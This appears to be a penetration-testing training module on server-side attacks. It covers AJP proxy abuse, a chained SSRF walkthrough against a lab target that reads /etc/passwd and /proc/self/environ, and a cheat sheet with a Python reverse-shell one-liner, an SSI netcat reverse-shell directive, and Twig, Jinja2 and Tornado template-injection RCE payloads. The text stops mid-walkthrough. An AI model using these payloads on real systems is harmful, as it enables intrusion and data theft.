The cheat sheet is a useful command reference for this module.
| Command | Description |
|---|---|
wget https://nginx.org/download/nginx-1.21.3.tar.gz |
Downloading nginx |
tar -xzvf nginx-1.21.3.tar.gz |
Extracting nginx tar file |
git clone https://github.com/dvershinin/nginx_ajp_module.git |
Cloning nginx_ajp source code |
cd nginx-1.21.3 |
Navigating to nginx directory |
./configure --add-module=$(pwd)/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules |
Setting up the configuration for building and installing Nginx web server |
make |
GNU make utility to maintain groups of programs |
sudo make install |
Instructing the make command to execute the installation target defined in the make file |
sudo nginx |
Starting the nginx server |
| Command | Description |
|---|---|
nmap -sT -T5 --min-rate=10000 -p- 10.129.201.238 |
Scanning the ports of the external target |
curl -i -s -L http://<TARGET IP> |
Interacting with the target and following redirects |
nc -lvnp 8080 |
Starting a netcat listener to test for SSRF |
curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080" |
Testing for SSRF vulnerability |
python3 -m http.server 9090 |
Starting the python web server |
sudo pip3 install twisted |
Installing the ftp server |
sudo python3 -m twisted ftp -p 21 -r . |
Starting the ftp server |
curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html" |
Retrieving a remote file through the target application (HTTP Schema) |
curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd" |
Retrieving a local file through the target application (File Schema) |
for port in {1..65535};do echo $port >> ports.txt;done |
Generating a wordlist of possible ports |
ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30 |
Fuzzing for ports on the internal interface |
curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000" |
Interacting with the internal interface on the discovered port |
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html" |
Interacting with the internal application |
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1" |
Discovering web application listening in on localhost |
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1" |
Modifying the URL to bypass the error message |
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o - |
Requesting to disclose the /proc/self/environ file on the internal application |
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py" |
Retrieving a local file through the target application |
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami" |
Confirming remote code exeuction on the remote host |
sudo apt-get install jq |
Installing jq |
| Command | Description | |
|---|---|---|
nc -lvnp 9090 |
Starting a netcat listener | |
| `echo """ |
base64 -d` | Decoding the base64 encoded response |
export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' |
Reverse shell payload (to be URL encoaded twice) |
| SSI Directive Payload | Description | |
|---|---|---|
<!--#echo var="DATE_LOCAL" --> |
Date | |
<!--#printenv --> |
All variables | |
| `<!--#exec cmd="mkfifo /tmp/foo;nc |
/bin/bash 1>/tmp/foo;rm /tmp/foo" -->` | Reverse Shell |
| Command | Description |
|---|---|
git clone https://github.com/epinna/tplmap.git |
Cloning the tplmap repoistory |
cd tplmap |
Navigating to the new directory |
pip install virtualenv |
Installing the virtual environment with pip |
virtualenv -p python2 venv |
Creating a virtual environment named venv with python2 |
source venv/bin/activate |
Activating a Python virtual environment, configuring the shell to use the virtual environment's Python interpreter |
pip install -r requirements.txt |
Installing dependencies |
./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john |
Running tplmap against the target |
./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john --os-shell |
Running tplmap with the os-shell option |
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} |
Twig RCE payload |
| Command | Description |
|---|---|
curl -X POST -d 'email=${7*7}' http://<TARGET IP>:<PORT>/jointheteam |
Interacting with the remote target (Spring payload) |
curl -X POST -d 'email={{_self.env.display("TEST"}}' http://<TARGET IP>:<PORT>/jointheteam |
Interacting with the remote target (Twig payload) |
curl -X POST -d 'email={{config.items()}}' http://<TARGET IP>:<PORT>/jointheteam |
Interacting with the remote target (Jinja2 basic injection) |
curl -X POST -d 'email={{ [].class.base.subclasses() }}' http://<TARGET IP>:<PORT>/jointheteam |
Interacting with the remote target (Jinja2 dump all classes payload) |
| `curl -X POST -d "email= |
{{os.system('whoami')}}" http://:/jointheteam`| Interacting with the remote target (Tornado payload) | |./tplmap.py -u 'http://:/jointheteam' -d email=blah\ | Automating the exploitation process with tplmap |
| Command | Description |
|---|---|
curl -gs "http://<TARGET IP>:<PORT>/execute?cmd={{7*'7'}}" |
Interacting with the remote target (Confirming Jinja2 backend) |
./tplmap.py -u 'http://<TARGET IP>:<PORT>/execute?cmd' |
Automating the templating engine identification process with tplmap |
python3 |
Starting the python3 interpreter |
| Methods | Description |
class | Returns the object (class) to which the type belongs |
mro | Returns a tuple containing the base class inherited by the object. Methods are parsed in the order of tuples. |
subclasses | Each new class retains references to subclasses, and this method returns a list of references that are still available in the class |
builtins | Returns the builtin methods included in a function |
globals | A reference to a dictionary that contains global variables for a function |
base | Returns the base class inherited by the object |
init | Class initialization method |
Server-Side attacks target the application or service provided by a server, whereas the purpose of a client-side attack is to attack the client. Understanding and identifying the differences is essential for penetration testing and bug bounty hunting.
An excellent example of these that should help clarify the differences between server-side attacks vs. client-side attacks are Cross-Site Request Forgeries (CSRF) and Server-side Request Forgeries (SSRF). Both of these attacks involve a web server and how servers process URLs. However, CSRF and SSRF have different targets and purposes.
Roughly quoted from the Cross-Site Request Forgery section in the Introduction to Web Applications module:
CSRF attacks may utilize other client side -attacks like XSS vulnerabilities to perform requests to a web application that a victim has already been authenticated to. This allows the attacker to perform actions as the authorized user, such as changing their password to something the attacker would know or performing any unwarranted action as the victim.
From the above situation, we should be able to infer that the target is the client. Server-Side attacks target the actual application, the objective being to leak sensitive data or inject unwarranted input into the application and even achieve remote code execution (RCE). The targets in this situation are the back-end services.
This module will cover different types of Server-Side attacks and how to exploit them. These are:
Abusing Intermediary Applications: Accessing internal applications not accessible from our network by leveraging specific exposed binary protocols.Server-Side Request Forgery (SSRF): Making the hosting application server issue requests to arbitrary external domains or internal resources in an attempt to identify sensitive data.Server-Side Includes Injection (SSI): Injecting a payload so that ill-intended Server-Side Include directives are parsed to achieve remote code execution or leak sensitive data. This vulnerability occurs when poorly validated user input manages to become part of a response that is parsed for Server-Side Include directives.Edge-Side Includes Injection (ESI): ESI is an XML-based markup language used to tackle performance issues by temporarily storing dynamic web content that the regular web caching protocols do not save. Edge-Side Include Injection occurs when an attacker manages to reflect ill-intended ESI tags in the HTTP Response. The root cause of this vulnerability is that HTTP surrogates cannot validate the ESI tag origin. They will gladly parse and evaluate legitimate ESI tags by the upstream server and malicious ESI tags supplied by an attacker.Server-Side Template Injection (SSTI): Template Engines facilitate dynamic data presentation through web pages or emails. Server-Side Template Injection is essentially injecting ill-intended template directives (payload) inside a template, leveraging Template Engines that insecurely mix user input with a given template.Extensible Stylesheet Language Transformations Server-Side Injection (XSLT): XSLT is an XML-based language usually used when transforming XML documents into HTML, another XML document, or PDF. Extensible Stylesheet Language Transformations Server-Side Injection can occur when arbitrary XSLT file upload is possible or when an application generates the XSL Transformation’s XML document dynamically using unvalidated input from the user.Let's now dive into each attack in detail.
According to Apache, AJP (or JK) is a wire protocol. It is an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible but proxy the request to Tomcat for Tomcat-related content.
When we come across open AJP proxy ports (8009 TCP) during penetration tests, we may be able to use them to access the "hidden" Apache Tomcat Manager behind it. Although AJP-Proxy is a binary protocol, we can configure our own Nginx or Apache webserver with AJP modules to interact with it and access the underlying application. This way, we can discover administrative panels, applications, and websites that would be otherwise inaccessible.
To see how we can configure our own Nginx or Apache webserver with AJP modules to interact with an open AJP proxy and access the underlying application, jump to the next interactive section.
Note: If you want to replicate such a vulnerable environment on a local machine, you can start an Apache Tomcat Docker exposing only the AJP-Proxy as follows:
First, create a file called tomcat-users.xml including the below.
tomcat-users.xml
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="s3cret" roles="manager-gui,manager-script"/>
</tomcat-users>
After this file is created, install the docker package in your local machine and start the Apache Tomcat Server by issuing the commands below.
Docker Installation
root@htb[/htb]$ sudo apt install docker.io
root@htb[/htb]$ sudo docker run -it --rm -p 8009:8009 -v `pwd`/tomcat-users.xml:/usr/local/tomcat/conf/tomcat-users.xml --name tomcat "tomcat:8.0"
When we come across an open AJP proxy port (8009 TCP), we can use Nginx with the ajp_module to access the "hidden" Tomcat Manager. This can be done by compiling the Nginx source code and adding the required module, as follows:
ajp_module.Download Nginx Source Code
root@htb[/htb]$ wget https://nginx.org/download/nginx-1.21.3.tar.gz
root@htb[/htb]$ tar -xzvf nginx-1.21.3.tar.gz
Compile Nginx source code with the ajp module
root@htb[/htb]$ git clone https://github.com/dvershinin/nginx_ajp_module.git
root@htb[/htb]$ cd nginx-1.21.3
root@htb[/htb]$ sudo apt install libpcre3-dev
root@htb[/htb]$ ./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
root@htb[/htb]$ make
root@htb[/htb]$ sudo make install
root@htb[/htb]$ nginx -V
nginx version: nginx/1.21.3
built by gcc 10.2.1 20210110 (Debian 10.2.1-6)
configure arguments: --add-module=../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
Note: In the following configuration, we are using port 8009, which is Tomcat's default port for AJP, and this is how we would use it in a real environment. However, to complete the exercise at the end of this section you should specify the IP and port of the target you will spawn (they will both be visible right next to "Target:"). The port you will see is essentially mapped to port 8009 of the underlying Docker container.
Comment out the entire server block and append the following lines inside the http block in /etc/nginx/conf/nginx.conf.
Pointing to the AJP Port
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}
Note: If you are using Pwnbox, then port 80 will be in use already, so, in the above configuration change port 80 to 8080. Finally, in the next step, use port 8080 with cURL.
Start Nginx and check if everything is working correctly by issuing a cURL request to your local host.
root@htb[/htb]$ sudo nginx
root@htb[/htb]$ curl http://127.0.0.1:80
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>
Luckily, Apache has the AJP module precompiled for us. We will need to install it, though, as it doesn't come in default installations. Configuring the AJP-Proxy in our Apache server can be done as follows:
Note: As mentioned in the previous section, port 80 is in use in Pwnbox, and Apache also uses it as its default port. You can change Apache's default port on "/etc/apache2/ports.conf" to any other port. If you use port 8080, don't forget to stop nginx beforehand with `sudo nginx -s stop.` In the following configuration, we are using 8009, which is Tomcat's default port for AJP, and this is how we would use it in a real environment. However, to complete the exercise at the end of the previous section, this time using Apache, you should specify the IP and port of the target you will spawn (they will both be visible right next to "Target:"). The port you will see is essentially mapped to port 8009 of the underlying Docker container.
The required commands and configuration files are the following:
Apache Reverse Proxy & AJP
root@htb[/htb]$ sudo apt install libapache2-mod-jk
root@htb[/htb]$ sudo a2enmod proxy_ajp
root@htb[/htb]$ sudo a2enmod proxy_http
root@htb[/htb]$ export TARGET="<TARGET_IP>"
root@htb[/htb]$ echo -n """<Proxy *>
Order allow,deny
Allow from all
</Proxy>
ProxyPass / ajp://$TARGET:8009/
ProxyPassReverse / ajp://$TARGET:8009/""" | sudo tee /etc/apache2/sites-available/ajp-proxy.conf
root@htb[/htb]$ sudo ln -s /etc/apache2/sites-available/ajp-proxy.conf /etc/apache2/sites-enabled/ajp-proxy.conf
root@htb[/htb]$ sudo systemctl start apache2
Note: The below cURL command is the one you would normally use, since Apache is listening on port 80 by default. Remember that you had to change port 80 to another one of your choosing. So, to complete the exercise of the previous section, next step would be to specify the port of your choosing while using cURL, "curl http://127.0.0.1:8080" for example.
Accessing the "hidden" Tomcat page
Apache Reverse Proxy & AJP
root@htb[/htb]$ curl http://127.0.0.1
<SNIP>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
</div>
<SNIP>
If we configure everything correctly, we will be able to access the Apache Tomcat manager using both cURL and our web browser.

Server-Side Request Forgery (SSRF) attacks, listed in the OWASP top 10, allow us to abuse server functionality to perform internal or external resource requests on behalf of the server. To do that, we usually need to supply or modify URLs used by the target application to read or submit data. Exploiting SSRF vulnerabilities can lead to:
We can usually find SSRF vulnerabilities in applications that fetch remote resources. When hunting for SSRF vulnerabilities, we should look for:
{% hint style="info" %} Note: Always keep in mind that web application fuzzing should be part of any penetration testing or bug bounty hunting activity. That being said, fuzzing should not be limited to user input fields only. Extend fuzzing to parts of the HTTP request as well, such as the User-Agent. {% endhint %}
Let's first exploit an internet-facing web application (the target can be spawned at the bottom of this section) and then work to gain remote code execution on an internal host by chaining multiple SSRF vulnerabilities. The attack flow will be as follows:
[PENTESTER] |
đź – |
[EXERCISE-TARGET]--[SSRF] |
đź – |
[INTERNAL-WEBSERVER]--[SSRF] |
đź – |
[LOCALHOST WEBAPP] |
đź – |
[RCE] |
|---|---|---|---|---|---|---|---|---|
Navigate to the end of this section and click on Click here to spawn the target system!, then use the provided Pwnbox or a local VM with the supplied VPN key to follow along.
Basic reconnaissance against the host shows there are only three open ports.
Nmap - Discovering Open Ports
SSRF Exploitation Example
root@htb[/htb]$ nmap -sT -T5 --min-rate=10000 -p- <TARGET IP>
Nmap scan report for <TARGET IP>
Host is up (0.00047s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 13.25 seconds
Let's issue a cURLrequest to the target server using the parameters -i to show the protocol response headers and -s to use the silent mode.
Curl - Interacting with the Target
SSRF Exploitation Example
root@htb[/htb]$ curl -i -s http://<TARGET IP>
HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 242
Location: http://<TARGET IP>/load?q=index.html
Server: Werkzeug/2.0.2 Python
Date: Mon, 18 Oct 2021 09:01:02 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/load?q=index.html">/load?q=index.html</a>. If not click the link.
We can see the request redirected to /load?q=index.html, meaning the q parameter fetches the resource index.html. Let us follow the redirect to see if we can gather any additional information.
SSRF Exploitation Example
root@htb[/htb]$ curl -i -s -L http://<TARGET IP>
HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 242
Location: http://<TARGET IP>/load?q=index.html
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Mon, 18 Oct 2021 10:20:27 GMT
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 153
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Mon, 18 Oct 2021 10:20:27 GMT
<html>
<!-- ubuntu-web.lalaguna.local & internal.app.local load resources via q parameter -->
<body>
<h1>Bad App</h1>
<a>Hello World!</a>
</body>
</html>
The spawned target is ubuntu-web.lalaguna.local, and internal.app.local is an application on the internal network (inaccessible from our current position).
The next step is to confirm if the q parameter is vulnerable to SSRF. If it is, we may be able to reach the internal.app.local web application by leveraging the SSRF vulnerability. We say "may" because a trust relationship likely exists for ubuntu-web to be able to reach and interact with internal.app.local. This type of relationship can be something as simple as a firewall rule (or even a lack of any firewall rule).
In one terminal, let's use Netcat to listen on port 8080, as follows.
Netcat Listener
SSRF Exploitation Example
root@htb[/htb]$ nc -nvlp 8080
listening on [any] 8080 ...
Now, let us issue a request to the target web application with http://<VPN/TUN Adapter IP> instead of index.html in another terminal, as follows. <VPN/TUN Adapter IP> will either be the TUN adapter IP of Pwnbox or the TUN adapter IP of the local VM you may be using (after connecting with the supplied VPN key).
Curl - Testing for SSRF
SSRF Exploitation Example
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 0
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Mon, 18 Oct 2021 12:07:10 GMT
We will receive the following into our Netcat listener confirming the SSRF vulnerability via a request issued by the target server using Python-urllib:
Netcat Listener - Confirming SSRF
SSRF Exploitation Example
Connection received on <TARGET IP> 49852
GET / HTTP/1.1
Accept-Encoding: identity
Host: <VPN/TUN Adapter IP>:8080
User-Agent: Python-urllib/3.8
Connection: close
Reading the Python-urllib documentation, we can see it supports file, http and ftp schemas. So, apart from issuing HTTP requests to other services on behalf of the target application, we can also read local files via the file schema and remote files using ftp.
We can test this functionality through the steps below:
Code: html
<html>
</body>
<a>SSRF</a>
<body>
<html>
Start Python HTTP Server
SSRF Exploitation Example
root@htb[/htb]$ python3 -m http.server 9090
Start FTP Server
SSRF Exploitation Example
root@htb[/htb]$ sudo pip3 install twisted
root@htb[/htb]$ sudo python3 -m twisted ftp -p 21 -r .
ftp schema, as followsRetrieving a remote file through the target application - FTP Schema
SSRF Exploitation Example
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=ftp://<VPN/TUN Adapter IP>/index.html"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:21:09 GMT
<html>
</body>
<a>SSRF</a>
<body>
<html>
http schema, as followsRetrieving a remote file through the target application - HTTP Schema
SSRF Exploitation Example
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:26:18 GMT
<html>
</body>
<a>SSRF</a>
<body>
<html>
Retrieving a local file through the target application - File Schema
SSRF Exploitation Example
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 926
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:27:17 GMT
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Bear in mind that fetching remote HTML files can lead to Reflected XSS.
Remember, we only have two open ports on the target server. However, there is a possibility of internal applications existing and listening only on localhost. We can use a tool such as ffuf to enumerate these web applications by performing the following steps:
Generate a Wordlist
SSRF Exploitation Example
root@htb[/htb]$ for port in {1..65535};do echo $port >> ports.txt;done
Curl - Interacting with the Target
SSRF Exploitation Example
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:1"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 30
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:36:25 GMT
[Errno 111] Connection refused
Port Fuzzing
SSRF Exploitation Example
root@htb[/htb]$ ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://<TARGET IP>/load?q=http://127.0.0.1:PORT
:: Wordlist : PORT: ./ports.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 30
________________________________________________
80 [Status: 200, Size: 153, Words: 11, Lines: 8]
5000 [Status: 200, Size: 64, Words: 3, Lines: 1]
:: Progress: [65535/65535] :: Job [1/1] :: 577 req/sec :: Duration: [0:02:00] :: Errors: 0 ::
We have received a valid response for port 5000. Let us check it as follows.
cURL - Interacting with the Target
SSRF Exploitation Example
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 64
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 11:47:16 GMT
<html><body><h1>Hey!</h1><a>Some internal app!</a></body></html>
Up to this point, we have learned how to reach internal applications and use different schemas to load local files through SSRF. Armed with this knowledge, let us try attacking the internal.app.local web application, again through SSRF. Our ultimate goal is to achieve remote code execution on an internal host.
First, we issue a simple cURL request to the internal application we discovered previously. Remember the information we uncovered that both applications load resources in the same way (via the q parameter).
cURL - Interacting with the Target
SSRF Exploitation Example
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 83
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 13:51:15 GMT
<html>
<body>
<h1>Internal Web Application</h1>
<a>Hello World!</a>
</body>
</html>
Now, let us discover any web applications listening in localhost. Let us try to issue a request to a random port to identify how responses from closed ports look.
cURL - Interacting with the Target
SSRF Exploitation Example
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 97
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 14:52:32 GMT
<html><body><h1>Resource: http127.0.0.1:1</h1><a>unknown url type: http127.0.0.1</a></body></html>
We have received an unknown url type error message. It seems the web application is removing :// from our request. Let's try to overcome this situation by modifying the URL.
cURL - Interacting with the Target
SSRF Exploitation Example
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 99
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 14:55:10 GMT
<html><body><h1>Resource: http://127.0.0.1:1</h1><a>[Errno 111] Connection refused</a></body></html>
In this case, the web application returns some HTML rendered content containing the resource we are trying to fetch. This response will affect our internal service discovery if we use the size of the response as a filter as it will change depending on the port. Fortunately for us, ffuf supports regular expressions for filtering. We can use this ffuf feature to use the error number for filtering responses, as follows.
Port Fuzzing
root@htb[/htb]$ ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT" -fr 'Errno[[:blank:]]111'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT
:: Wordlist : PORT: ./ports.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Regexp: Errno[[:blank:]]111
________________________________________________
80 [Status: 200, Size: 153, Words: 5, Lines: 6]
5000 [Status: 200, Size: 123, Words: 3, Lines: 5]
:: Progress: [65535/65535] :: Job [1/1] :: 249 req/sec :: Duration: [0:04:06] :: Errors: 0 ::
We have found another application listening on port 5000. In this case, the application responds with a list of files.
cURL - Interacting with the Target
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 385
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 20:30:07 GMT
<html><body><h1>Resource: http://127.0.0.1:5000/</h1><a>total 24K
drwxr-xr-x 1 root root 4.0K Oct 19 20:29 .
drwxr-xr-x 1 root root 4.0K Oct 19 20:29 ..
-rw-r--r-- 1 root root 84 Oct 19 16:32 index.html
-rw-r--r-- 1 root root 1.2K Oct 19 16:32 internal.py
-rw-r--r-- 1 root root 691 Oct 19 20:29 internal_local.py
-rwxr-xr-x 1 root root 69 Oct 19 16:32 start.sh
</a></body></html>
Let us make a quick recap of what we have achieved:
Let us now uncover the source code of the web applications listening on internal.app.local to see how we can achieve remote code execution.
Let us issue a request to disclose /proc/self/environ file, where the current path should be present under the PWD environment variable.
cURL - Interacting with the Target
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 584
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 16:52:20 GMT
<html><body><h1>Resource: file:///proc/self/environ</h1><a>HOSTNAME=18f236843662PYTHON_VERSION=3.8.12PWD=/appPORT=80PYTHON_SETUPTOOLS_VERSION=57.5.0HOME=/rootLANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568SHLVL=0PYTHON_PIP_VERSION=21.2.4PYTHON_GET_PIP_SHA256=01249aa3e58ffb3e1686b7141b4e9aac4d398ef4ac3012ed9dff8dd9f685ffe0PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d781367b97acf0ece7e9e304bf281e99b618bf10/public/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=/usr/local/bin/python3</a></body></html>
Now we know that the current path is /app, and we have a list of interesting files. Let's disclose the internal_local.py file as follows.
Retrieving a local file through the target application - File Schema
root@htb[/htb]$ curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 771
Server: Werkzeug/2.0.2 Python/3.8.12
Date: Tue, 19 Oct 2021 20:40:28 GMT
